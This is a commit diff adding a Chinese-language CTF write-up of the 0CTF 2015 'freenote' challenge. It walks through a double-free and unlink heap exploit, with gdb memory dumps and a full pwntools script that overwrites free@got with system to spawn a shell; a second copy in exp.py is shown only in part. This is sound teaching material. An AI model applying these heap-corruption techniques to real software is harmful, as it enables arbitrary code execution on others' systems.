mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
finish 6.1.7
This commit is contained in:
parent
70f846182a
commit
cee626da52
@ -705,6 +705,430 @@ Delete 的实现如下:
|
|||||||
## Exploit
|
## Exploit
|
||||||
在上面逆向的过程中我们发现,程序存在 double free 漏洞。在 Delete 的时候,只是设置了 `isValid =0` 作为标记,而没有将该笔记从 Notes 中移除,也没有将 `content` 设置为 NULL,然后就调用了 free 函数。整个过程没有对 `isValid` 是否已经为 `0` 做任何检查。于是我们可以对同一个笔记 Delete 两次,造成 double free,修改 GOT 表,改变程序的执行流。
|
在上面逆向的过程中我们发现,程序存在 double free 漏洞。在 Delete 的时候,只是设置了 `isValid =0` 作为标记,而没有将该笔记从 Notes 中移除,也没有将 `content` 设置为 NULL,然后就调用了 free 函数。整个过程没有对 `isValid` 是否已经为 `0` 做任何检查。于是我们可以对同一个笔记 Delete 两次,造成 double free,修改 GOT 表,改变程序的执行流。
|
||||||
|
|
||||||
|
#### 泄漏地址
|
||||||
|
第一步先泄漏堆地址。为方便调试,就先关掉 ASLR 吧:
|
||||||
|
```
|
||||||
|
gef➤ vmmap heap
|
||||||
|
Start End Offset Perm Path
|
||||||
|
0x0000000000603000 0x0000000000625000 0x0000000000000000 rw- [heap]
|
||||||
|
gef➤ vmmap libc
|
||||||
|
Start End Offset Perm Path
|
||||||
|
0x00007ffff7a15000 0x00007ffff7bd0000 0x0000000000000000 r-x /home/firmy/libc.so.6_1
|
||||||
|
0x00007ffff7bd0000 0x00007ffff7dcf000 0x00000000001bb000 --- /home/firmy/libc.so.6_1
|
||||||
|
0x00007ffff7dcf000 0x00007ffff7dd3000 0x00000000001ba000 r-- /home/firmy/libc.so.6_1
|
||||||
|
0x00007ffff7dd3000 0x00007ffff7dd5000 0x00000000001be000 rw- /home/firmy/libc.so.6_1
|
||||||
|
```
|
||||||
|
|
||||||
|
为了泄漏堆地址,我们需要释放 2 个不相邻且不会被合并进 top chunk 里的 chunk,所以我们创建 4 个笔记,可以看到由初始化阶段创建的 Notes 和 Note 结构体:
|
||||||
|
```python
|
||||||
|
for i in range(4):
|
||||||
|
newnote("A"*8)
|
||||||
|
```
|
||||||
|
```
|
||||||
|
gef➤ x/16gx 0x00603000
|
||||||
|
0x603000: 0x0000000000000000 0x0000000000001821
|
||||||
|
0x603010: 0x0000000000000100 0x0000000000000004 <-- Notes.max <-- Notes.length
|
||||||
|
0x603020: 0x0000000000000001 0x0000000000000008 <-- Notes.notes[0].isValid <-- Notes.notes[0].length
|
||||||
|
0x603030: 0x0000000000604830 0x0000000000000001 <-- Notes.notes[0].content
|
||||||
|
0x603040: 0x0000000000000008 0x00000000006048c0
|
||||||
|
0x603050: 0x0000000000000001 0x0000000000000008
|
||||||
|
0x603060: 0x0000000000604950 0x0000000000000001
|
||||||
|
0x603070: 0x0000000000000008 0x00000000006049e0
|
||||||
|
```
|
||||||
|
下面是创建的 4 个笔记:
|
||||||
|
```
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820
|
||||||
|
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
|
||||||
|
0x604830: 0x4141414141414141 0x0000000000000000 <-- *notes[0].content
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*1
|
||||||
|
0x6048b0: 0x0000000000000000 0x0000000000000091 <-- chunk 1
|
||||||
|
0x6048c0: 0x4141414141414141 0x0000000000000000 <-- *notes[1].content
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*2
|
||||||
|
0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2
|
||||||
|
0x604950: 0x4141414141414141 0x0000000000000000 <-- *notes[2].content
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*3
|
||||||
|
0x6049d0: 0x0000000000000000 0x0000000000000091 <-- chunk 3
|
||||||
|
0x6049e0: 0x4141414141414141 0x0000000000000000 <-- *notes[3].content
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*4
|
||||||
|
0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
|
||||||
|
0x604a70: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
|
||||||
|
现在我们释放掉 chunk 0 和 chunk 2:
|
||||||
|
```python
|
||||||
|
delnote(0)
|
||||||
|
delnote(2)
|
||||||
|
```
|
||||||
|
```
|
||||||
|
gef➤ x/16gx 0x00603000
|
||||||
|
0x603000: 0x0000000000000000 0x0000000000001821
|
||||||
|
0x603010: 0x0000000000000100 0x0000000000000002 <-- Notes.length
|
||||||
|
0x603020: 0x0000000000000000 0x0000000000000000 <-- notes[0].isValid <-- notes[0].length
|
||||||
|
0x603030: 0x0000000000604830 0x0000000000000001 <-- notes[0].content
|
||||||
|
0x603040: 0x0000000000000008 0x00000000006048c0
|
||||||
|
0x603050: 0x0000000000000000 0x0000000000000000 <-- notes[2].isValid <-- notes[2].length
|
||||||
|
0x603060: 0x0000000000604950 0x0000000000000001 <-- notes[2].content
|
||||||
|
0x603070: 0x0000000000000008 0x00000000006049e0
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820
|
||||||
|
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0 [be freed]
|
||||||
|
0x604830: 0x00007ffff7dd37b8 0x0000000000604940 <-- fd->main_arena+88 <-- bk->chunk 2
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*1
|
||||||
|
0x6048b0: 0x0000000000000090 0x0000000000000090 <-- chunk 1
|
||||||
|
0x6048c0: 0x4141414141414141 0x0000000000000000
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*2
|
||||||
|
0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 [be freed]
|
||||||
|
0x604950: 0x0000000000604820 0x00007ffff7dd37b8 <-- fd->chunk 0 <-- bk->main_arena+88
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*3
|
||||||
|
0x6049d0: 0x0000000000000090 0x0000000000000090 <-- chunk 3
|
||||||
|
0x6049e0: 0x4141414141414141 0x0000000000000000
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*4
|
||||||
|
0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
|
||||||
|
0x604a70: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
chunk 0 和 chunk 2 被放进了 unsorted bin,且它们的 fd 和 bk 指针有我们需要的地址。
|
||||||
|
|
||||||
|
为了泄漏堆地址,我们分配一个内容长度为 8 的笔记,malloc 将从 unsorted bin 中把原来 chunk 0 的空间取出来:
|
||||||
|
```python
|
||||||
|
newnote("A"*8)
|
||||||
|
```
|
||||||
|
```
|
||||||
|
gef➤ x/16gx 0x00603000
|
||||||
|
0x603000: 0x0000000000000000 0x0000000000001821
|
||||||
|
0x603010: 0x0000000000000100 0x0000000000000003 <-- Notes.length
|
||||||
|
0x603020: 0x0000000000000001 0x0000000000000008 <-- notes[0].isValid <-- notes[0].length
|
||||||
|
0x603030: 0x0000000000604830 0x0000000000000001 <-- notes[0].content
|
||||||
|
0x603040: 0x0000000000000008 0x00000000006048c0
|
||||||
|
0x603050: 0x0000000000000000 0x0000000000000000 <-- notes[2].isValid <-- notes[2].length
|
||||||
|
0x603060: 0x0000000000604950 0x0000000000000001 <-- notes[2].content
|
||||||
|
0x603070: 0x0000000000000008 0x00000000006049e0
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820
|
||||||
|
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
|
||||||
|
0x604830: 0x4141414141414141 0x0000000000604940 <-- info leak
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*1
|
||||||
|
0x6048b0: 0x0000000000000090 0x0000000000000091 <-- chunk 1
|
||||||
|
0x6048c0: 0x4141414141414141 0x0000000000000000
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*2
|
||||||
|
0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 [be freed]
|
||||||
|
0x604950: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 <-- fd->chunk 0 <-- bk->main_arena+88
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*3
|
||||||
|
0x6049d0: 0x0000000000000090 0x0000000000000090 <-- chunk 3
|
||||||
|
0x6049e0: 0x4141414141414141 0x0000000000000000
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*4
|
||||||
|
0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
|
||||||
|
0x604a70: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
为什么是 8 呢?我们同样可以看到程序的读入是有问题的,没有在字符串末尾加上 `\0`,导致了信息泄漏的发生,接下来只要调用 List 就可以把 chunk 2 的地址 `0x604940` 打印出来。然后根据 chunk 2 的偏移,即可计算出堆起始地址:
|
||||||
|
```python
|
||||||
|
s = listnote(0)[8:]
|
||||||
|
heap_addr = u64((s.ljust(8, "\x00"))[:8])
|
||||||
|
heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2
|
||||||
|
```
|
||||||
|
|
||||||
|
其实我们还可以得到 libc 的地址,方法如下:
|
||||||
|
```
|
||||||
|
gef➤ x/20gx 0x00007ffff7dd37b8-0x78
|
||||||
|
0x7ffff7dd3740 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x7ffff7dd3750: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x7ffff7dd3760: 0x0000000100000000 0x0000000000000000 <-- main_arena
|
||||||
|
0x7ffff7dd3770: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x7ffff7dd3780: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x7ffff7dd3790: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x7ffff7dd37a0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x7ffff7dd37b0: 0x0000000000000000 0x0000000000604a60 <-- top
|
||||||
|
0x7ffff7dd37c0: 0x0000000000000000 0x0000000000604940
|
||||||
|
0x7ffff7dd37d0: 0x0000000000604820 0x00007ffff7dd37c8
|
||||||
|
```
|
||||||
|
我们看到 `__malloc_hook` 在这个地址 `0x00007ffff7dd37b8-0x78` 的地方。其实 `0x7ffff7dd3760` 地方开始就是 `main_arena`,但在这个 libc 里符号被 stripped 扔掉了。看一下 `__malloc_hook` 在 libc 中的偏移:
|
||||||
|
```
|
||||||
|
$ readelf -s libc.so.6_1 | grep __malloc_hook
|
||||||
|
1079: 00000000003be740 8 OBJECT WEAK DEFAULT 31 __malloc_hook@@GLIBC_2.2.5
|
||||||
|
```
|
||||||
|
因为偏移是不变的,我们总是可以计算出 libc 的地址:
|
||||||
|
```
|
||||||
|
libc_base = leak_addr - (0x3be740 + 0x78)
|
||||||
|
```
|
||||||
|
过程和泄漏堆地址是一样的,这里就不展示了,代码如下:
|
||||||
|
```python
|
||||||
|
newnote("A"*8)
|
||||||
|
s = listnote(2)[8:]
|
||||||
|
libc_addr = u64((s.ljust(8, "\x00"))[:8])
|
||||||
|
libc_base = libc_addr - (0x3be740 + 0x78) # __malloc_hook + 0x78
|
||||||
|
```
|
||||||
|
|
||||||
|
这一步的最后只要把创建的所有笔记都删掉就好了:
|
||||||
|
```
|
||||||
|
gef➤ x/16gx 0x00603000
|
||||||
|
0x603000: 0x0000000000000000 0x0000000000001821
|
||||||
|
0x603010: 0x0000000000000100 0x0000000000000000
|
||||||
|
0x603020: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603030: 0x0000000000604830 0x0000000000000000
|
||||||
|
0x603040: 0x0000000000000000 0x00000000006048c0
|
||||||
|
0x603050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603060: 0x0000000000604950 0x0000000000000000
|
||||||
|
0x603070: 0x0000000000000000 0x00000000006049e0
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820
|
||||||
|
0x604820: 0x0000000000000000 0x00000000000207e1
|
||||||
|
0x604830: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*1
|
||||||
|
0x6048b0: 0x0000000000000090 0x0000000000000090
|
||||||
|
0x6048c0: 0x4141414141414141 0x0000000000000000
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*2
|
||||||
|
0x604940: 0x0000000000000120 0x0000000000000090
|
||||||
|
0x604950: 0x4141414141414141 0x00007ffff7dd37b8
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*3
|
||||||
|
0x6049d0: 0x00000000000001b0 0x0000000000000090 <-- chunk 3 [be freed]
|
||||||
|
0x6049e0: 0x4141414141414141 0x0000000000000000
|
||||||
|
gef➤ x/4gx 0x00603000+0x1820+0x90*4
|
||||||
|
0x604a60: 0x0000000000000000 0x00000000000205a1
|
||||||
|
0x604a70: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
所有的 chunk 都被合并到了 top chunk 里,需要重点关注的是 chunk 3 的 prev_size 字段:
|
||||||
|
```
|
||||||
|
0x6049d0 - 0x1b0 = 0x604820
|
||||||
|
```
|
||||||
|
所以其实它指向的是 chunk 0,如果再次释放 chunk 3,它会根据 prev_size 找到 chunk 0,并执行 unlink,然而如果直接这样做的话,马上就被 libc 检查出来了,double free 异常被触发,程序崩溃。所以我们接下来我们通过修改 prev_size 指向一个 fake chunk,来成功 unlink。
|
||||||
|
|
||||||
|
#### unlink
|
||||||
|
有了堆地址,根据 unlink 攻击的一般思想,我们总共创建 3 块 chunk,在 chunk 0 中构造 fake chunk,在 chunk 1 中放置 `/bin/sh` 字符串,用来作为 `system()` 函数的参数,chunk 2 里再放置两个 fake chunk:
|
||||||
|
```python
|
||||||
|
newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0
|
||||||
|
newnote('/bin/sh\x00') # note 1
|
||||||
|
newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2
|
||||||
|
```
|
||||||
|
|
||||||
|
为什么这样构造呢?回顾一下 unlink 的操作如下:
|
||||||
|
```
|
||||||
|
FD = P->fd;
|
||||||
|
BK = P->bk;
|
||||||
|
FD->bk = BK
|
||||||
|
BK->fd = FD
|
||||||
|
```
|
||||||
|
需要绕过的检查:
|
||||||
|
```
|
||||||
|
(P->fd->bk != P || P->bk->fd != P) == False
|
||||||
|
```
|
||||||
|
最终效果是:
|
||||||
|
```
|
||||||
|
FD->bk = P = BK = &P - 16
|
||||||
|
BK->fd = P = FD = &P - 24
|
||||||
|
```
|
||||||
|
为了绕过它,我们需要一个指向 chunk 头的指针,通过前面的分析我们知道 Note.content 正好指向 chunk 头,而且没有被置空,那么就可以通过泄漏出来的堆地址计算出这个指针的地址。
|
||||||
|
|
||||||
|
全部堆块的情况如下:
|
||||||
|
```
|
||||||
|
gef➤ x/4gx 0x603018
|
||||||
|
0x603018: 0x0000000000000003 0x0000000000000001
|
||||||
|
0x603028: 0x0000000000000020 0x0000000000604830 <-- bk pointer
|
||||||
|
gef➤ x/4gx 0x603020
|
||||||
|
0x603020: 0x0000000000000001 0x0000000000000020
|
||||||
|
0x603030: 0x0000000000604830 0x0000000000000001 <-- fd pointer
|
||||||
|
gef➤ x/90gx 0x00603000+0x1820
|
||||||
|
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
|
||||||
|
0x604830: 0x0000000000000000 0x0000000000000000 <-- fake chunk
|
||||||
|
0x604840: 0x0000000000603018 0x0000000000603020 <-- fd pointer <-- bk pointer
|
||||||
|
0x604850: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604860: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604870: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604880: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604890: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6048a0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6048b0: 0x0000000000000090 0x0000000000000091 <-- chunk 1
|
||||||
|
0x6048c0: 0x0068732f6e69622f 0x0000000000000000 <-- '/bin/sh'
|
||||||
|
0x6048d0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6048e0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6048f0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604900: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604910: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604920: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604930: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604940: 0x0000000000000120 0x0000000000000191 <-- chunk 2
|
||||||
|
0x604950: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604960: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604970: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604980: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604990: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6049a0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6049b0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6049c0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6049d0: 0x00000000000001a0 0x0000000000000090 <-- chunk 3 pointer
|
||||||
|
0x6049e0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6049f0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604a00: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604a10: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604a20: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604a30: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604a40: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604a50: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604a60: 0x0000000000000000 0x0000000000000021 <-- fake next chunk PREV_INUSE
|
||||||
|
0x604a70: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x604a80: 0x4141414141414141 0x0000000000000001 <-- fake next next chunk PREV_INUSE
|
||||||
|
0x604a90: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604aa0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604ab0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604ac0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x604ad0: 0x0000000000000000 0x0000000000020531 <-- top chunk
|
||||||
|
0x604ae0: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
首先是 chunk 0,在它里面包含了一个 fake chunk,且设置了 bk、fd 指针用于绕过检查。
|
||||||
|
|
||||||
|
chunk 2 分配了很大的空间,把 chunk 3 指针也包含了进去,这样就可以对 chunk 3 的 prev_size 进行设置,我们将其修改为 `0x1a0`,于是 `0x6049d0 - 0x1a0 = 0x604830`,即 fake chunk 的位置。另外,在释放 chunk 3 时,libc 会检查后一个堆块的 `PREV_INUSE` 标志位,同时也为了防止 free 后的 chunk 被合并进 top chunk,所以需要在 chunk 3 后布置一个 fake chunk,同样的 fake chunk 的后一个堆块也必须是 `PREV_INUSE` 的,以防止 chunk 3 与 fake chunk 合并。
|
||||||
|
|
||||||
|
接下来就是释放 chunk 3,触发 unlink:
|
||||||
|
```python
|
||||||
|
delnote(3)
|
||||||
|
```
|
||||||
|
```
|
||||||
|
gef➤ x/16gx 0x00603000
|
||||||
|
0x603000: 0x0000000000000000 0x0000000000001821
|
||||||
|
0x603010: 0x0000000000000100 0x0000000000000002
|
||||||
|
0x603020: 0x0000000000000001 0x0000000000000020
|
||||||
|
0x603030: 0x0000000000603018 0x0000000000000001 <-- notes[0].content
|
||||||
|
0x603040: 0x0000000000000008 0x00000000006048c0
|
||||||
|
0x603050: 0x0000000000000001 0x0000000000000139
|
||||||
|
0x603060: 0x0000000000604950 0x0000000000000000
|
||||||
|
0x603070: 0x0000000000000000 0x00000000006049e0
|
||||||
|
```
|
||||||
|
我们看到,note 0 的 content 指针被修改了,原本指向 fake chunk,现在却指向了自身地址减 0x18 的位置,这意味着我们可以将其改为任意地址。
|
||||||
|
|
||||||
|
#### overwrite note
|
||||||
|
这一步我们利用 Edit 功能先将 notes[0].content 该为 `free@got`:
|
||||||
|
```python
|
||||||
|
editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free']))
|
||||||
|
```
|
||||||
|
```
|
||||||
|
gef➤ x/16gx 0x00603000
|
||||||
|
0x603000: 0x0000000000000000 0x0000000000001821
|
||||||
|
0x603010: 0x0000000000000100 0x0000000000000002
|
||||||
|
0x603020: 0x0000000000000001 0x0000000000000008 <-- notes[0].length = 8
|
||||||
|
0x603030: 0x0000000000602018 0x0000000000000001 <-- notes[0].content = free@got
|
||||||
|
0x603040: 0x0000000000000008 0x00000000006048c0
|
||||||
|
0x603050: 0x0000000000000001 0x0000000000000139
|
||||||
|
0x603060: 0x0000000000604950 0x0000000000000000
|
||||||
|
0x603070: 0x0000000000000000 0x00000000006049e0
|
||||||
|
gef➤ x/gx 0x602018
|
||||||
|
0x602018 <free@got.plt>: 0x00007ffff7a97df0
|
||||||
|
```
|
||||||
|
另外这里将 length 设置为 8 也是有意义的,因为我们下一步修改 free 的地址为 system 地址,正好是 8 个字符长度,程序直接编辑其内容而不会调用 realloc 重新分配空间:
|
||||||
|
```python
|
||||||
|
editnote(0, p64(system_addr))
|
||||||
|
```
|
||||||
|
```
|
||||||
|
gef➤ x/gx 0x602018
|
||||||
|
0x602018 <free@got.plt>: 0x00007ffff7a5b640
|
||||||
|
gef➤ p system
|
||||||
|
$1 = {<text variable, no debug info>} 0x7ffff7a5b640 <system>
|
||||||
|
```
|
||||||
|
于是最后一步调用 free 时,实际上是调用了 `system('/bin/sh')`:
|
||||||
|
```
|
||||||
|
delnote(1)
|
||||||
|
```
|
||||||
|
```
|
||||||
|
gef➤ x/s 0x6048c0
|
||||||
|
0x6048c0: "/bin/sh"
|
||||||
|
```
|
||||||
|
|
||||||
|
#### pwn
|
||||||
|
开启 ASLR。Bingo!!!
|
||||||
|
```
|
||||||
|
$ python exp.py
|
||||||
|
[+] Starting local process './freenote': pid 30146
|
||||||
|
[*] heap base: 0x23b5000
|
||||||
|
[*] libc base: 0x7efc6903e000
|
||||||
|
[*] system address: 0x7efc69084640
|
||||||
|
[*] Switching to interactive mode
|
||||||
|
$ whoami
|
||||||
|
firmy
|
||||||
|
```
|
||||||
|
|
||||||
|
完整的 exp 如下:
|
||||||
|
```python
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
io = process(['./freenote'], env={'LD_PRELOAD':'./libc.so.6_1'})
|
||||||
|
elf = ELF('freenote')
|
||||||
|
libc = ELF('libc.so.6_1')
|
||||||
|
|
||||||
|
def newnote(x):
|
||||||
|
io.recvuntil("Your choice: ")
|
||||||
|
io.sendline("2")
|
||||||
|
io.recvuntil("Length of new note: ")
|
||||||
|
io.sendline(str(len(x)))
|
||||||
|
io.recvuntil("Enter your note: ")
|
||||||
|
io.send(x)
|
||||||
|
|
||||||
|
def delnote(x):
|
||||||
|
io.recvuntil("Your choice: ")
|
||||||
|
io.sendline("4")
|
||||||
|
io.recvuntil("Note number: ")
|
||||||
|
io.sendline(str(x))
|
||||||
|
|
||||||
|
def listnote(x):
|
||||||
|
io.recvuntil("Your choice: ")
|
||||||
|
io.sendline("1")
|
||||||
|
io.recvuntil("%d. " % x)
|
||||||
|
return io.recvline(keepends=False)
|
||||||
|
|
||||||
|
def editnote(x, s):
|
||||||
|
io.recvuntil("Your choice: ")
|
||||||
|
io.sendline("3")
|
||||||
|
io.recvuntil("Note number: ")
|
||||||
|
io.sendline(str(x))
|
||||||
|
io.recvuntil("Length of note: ")
|
||||||
|
io.sendline(str(len(s)))
|
||||||
|
io.recvuntil("Enter your note: ")
|
||||||
|
io.send(s)
|
||||||
|
|
||||||
|
def leak_base():
|
||||||
|
global heap_base
|
||||||
|
global libc_base
|
||||||
|
|
||||||
|
for i in range(4):
|
||||||
|
newnote("A"*8)
|
||||||
|
|
||||||
|
delnote(0)
|
||||||
|
delnote(2)
|
||||||
|
|
||||||
|
newnote("A"*8) # note 0
|
||||||
|
|
||||||
|
s = listnote(0)[8:]
|
||||||
|
heap_addr = u64((s.ljust(8, "\x00"))[:8])
|
||||||
|
heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2
|
||||||
|
log.info("heap base: 0x%x" % heap_base)
|
||||||
|
|
||||||
|
newnote("A"*8) # note 2
|
||||||
|
|
||||||
|
s = listnote(2)[8:]
|
||||||
|
libc_addr = u64((s.ljust(8, "\x00"))[:8])
|
||||||
|
libc_base = libc_addr - (libc.symbols['__malloc_hook'] + 0x78) # 0x78 = libc_addr - __malloc_hook_addr
|
||||||
|
log.info("libc base: 0x%x" % libc_base)
|
||||||
|
|
||||||
|
for i in range(4):
|
||||||
|
delnote(i)
|
||||||
|
|
||||||
|
def unlink():
|
||||||
|
newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0
|
||||||
|
newnote('/bin/sh\x00') # note 1
|
||||||
|
newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2
|
||||||
|
delnote(3) # double free
|
||||||
|
|
||||||
|
def overwrite_note():
|
||||||
|
system_addr = libc_base + libc.symbols['system']
|
||||||
|
log.info("system address: 0x%x" % system_addr)
|
||||||
|
|
||||||
|
editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free'])) # Note.content = free_got
|
||||||
|
editnote(0, p64(system_addr)) # free => system
|
||||||
|
|
||||||
|
def pwn():
|
||||||
|
delnote(1) # system('/bin/sh')
|
||||||
|
io.interactive()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
leak_base()
|
||||||
|
unlink()
|
||||||
|
overwrite_note()
|
||||||
|
pwn()
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
[0CTF 2015 Quals CTF: freenote](https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/exploit/freenote)
|
[0CTF 2015 Quals CTF: freenote](https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/exploit/freenote)
|
||||||
|
85
src/writeup/6.1.7_pwn_0ctf2015_freenote/exp.py
Normal file
85
src/writeup/6.1.7_pwn_0ctf2015_freenote/exp.py
Normal file
@ -0,0 +1,85 @@
|
|||||||
|
from pwn import *
|
||||||
|
|
||||||
|
io = process(['./freenote'], env={'LD_PRELOAD':'./libc.so.6_1'})
|
||||||
|
elf = ELF('freenote')
|
||||||
|
libc = ELF('libc.so.6_1')
|
||||||
|
|
||||||
|
def newnote(x):
|
||||||
|
io.recvuntil("Your choice: ")
|
||||||
|
io.sendline("2")
|
||||||
|
io.recvuntil("Length of new note: ")
|
||||||
|
io.sendline(str(len(x)))
|
||||||
|
io.recvuntil("Enter your note: ")
|
||||||
|
io.send(x)
|
||||||
|
|
||||||
|
def delnote(x):
|
||||||
|
io.recvuntil("Your choice: ")
|
||||||
|
io.sendline("4")
|
||||||
|
io.recvuntil("Note number: ")
|
||||||
|
io.sendline(str(x))
|
||||||
|
|
||||||
|
def listnote(x):
|
||||||
|
io.recvuntil("Your choice: ")
|
||||||
|
io.sendline("1")
|
||||||
|
io.recvuntil("%d. " % x)
|
||||||
|
return io.recvline(keepends=False)
|
||||||
|
|
||||||
|
def editnote(x, s):
|
||||||
|
io.recvuntil("Your choice: ")
|
||||||
|
io.sendline("3")
|
||||||
|
io.recvuntil("Note number: ")
|
||||||
|
io.sendline(str(x))
|
||||||
|
io.recvuntil("Length of note: ")
|
||||||
|
io.sendline(str(len(s)))
|
||||||
|
io.recvuntil("Enter your note: ")
|
||||||
|
io.send(s)
|
||||||
|
|
||||||
|
def leak_base():
|
||||||
|
global heap_base
|
||||||
|
global libc_base
|
||||||
|
|
||||||
|
for i in range(4):
|
||||||
|
newnote("A"*8)
|
||||||
|
|
||||||
|
delnote(0)
|
||||||
|
delnote(2)
|
||||||
|
|
||||||
|
newnote("A"*8) # note 0
|
||||||
|
|
||||||
|
s = listnote(0)[8:]
|
||||||
|
heap_addr = u64((s.ljust(8, "\x00"))[:8])
|
||||||
|
heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2
|
||||||
|
log.info("heap base: 0x%x" % heap_base)
|
||||||
|
|
||||||
|
newnote("A"*8) # note 2
|
||||||
|
|
||||||
|
s = listnote(2)[8:]
|
||||||
|
libc_addr = u64((s.ljust(8, "\x00"))[:8])
|
||||||
|
libc_base = libc_addr - (libc.symbols['__malloc_hook'] + 0x78) # 0x78 = libc_addr - __malloc_hook_addr
|
||||||
|
log.info("libc base: 0x%x" % libc_base)
|
||||||
|
|
||||||
|
for i in range(4):
|
||||||
|
delnote(i)
|
||||||
|
|
||||||
|
def unlink():
|
||||||
|
newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0
|
||||||
|
newnote('/bin/sh\x00') # note 1
|
||||||
|
newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2
|
||||||
|
delnote(3) # double free
|
||||||
|
|
||||||
|
def overwrite_note():
|
||||||
|
system_addr = libc_base + libc.symbols['system']
|
||||||
|
log.info("system address: 0x%x" % system_addr)
|
||||||
|
|
||||||
|
editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free'])) # Note.content = free_got
|
||||||
|
editnote(0, p64(system_addr)) # free => system
|
||||||
|
|
||||||
|
def pwn():
|
||||||
|
